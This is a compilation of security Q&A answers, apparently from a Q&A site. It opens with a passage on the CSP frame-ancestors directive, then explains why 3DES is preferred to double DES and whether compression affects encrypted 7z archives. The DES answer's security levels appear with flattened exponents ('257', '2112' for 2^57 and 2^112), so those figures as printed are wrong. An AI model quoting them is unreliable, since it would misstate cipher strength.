Or the newer version of this, the frame-ancestors directive of the Content-Security-Policy header. The server is telling the browser under which circumstances it is legitimate behaviour to render this page inside a frame. As you say, if the browser fails to respect this, it could result in security issues for the end user, or security issues for the web site, or both. The browser wants to keep you secure, so it's in everybody's best interest for the browser to honour the web site's request. (Well, I guess it's not in the attacker's best interest, but we don't care about them).


What is the difference between double DES and 3-DES? I'm not getting the exact main point of 2-DES and 3-DES. I would like to know the difference between the two; why 3-DES is chosen over 2-DES?

Double-DES is two successive DES instances, while Triple-DES is three successive DES instances.

We use 3DES and not 2DES because 2DES does not yield the security increase that you would believe. Namely, 2DES uses 112 key bits (two 56-bit DES keys) but offers a security level of about 257, not 2112, because of a "meet-in-the middle attack" which is well explained there (not to be confused with "man-in-the-middle", a completely different concept). Similarly, 3DES uses 168 key bits, but offers "only" 2112 security (which is quite sufficient in practice). This also explains why 3DES is sometimes used with a 112-bit key (the third DES key is a copy of the first): going to 168 bits does not actually make things more secure.

This can be summarized as: we use n-DES because a simple DES is too weak (a 56-bit key can be brute-forced by a determined attacker), but in order to really improve security, we must go to n ≥ 3. Of course, every additional DES implies some computational overhead (simple DES is already quite slow in software, 3DES thrice as much).


Does compression level influence security of encryted 7z files? I want to archive some GB of sensitive data. It is to be stored on an external drive that also includes non sensitive data so i don't want to encrypt the whole drive. For that purpose i want to use 7zip and the 7z file format with AES-256 encryption and a long (16+ character) password.
Since most of the data to be encrypted is already compressed or a compression would not do much (for example videos) and disk space is not a problem i want to choose "Store" as compression level to speed up archive creation.
I don't know much about the technical side of encryption but from what i found compression does not influence encryption, so choosing a higher compression level would not have any influence (positive or negative) on file security.
My question is wether this is correct or does it indeed have an influence?

Compression would affect the encryption if the attacker controls some plaintext of the encrypted data as mentioned in this post.
It may not have an influence for your use case, since the data is archived and not accessed by many people, but if it is sensitive data then spare the extra GB for more security.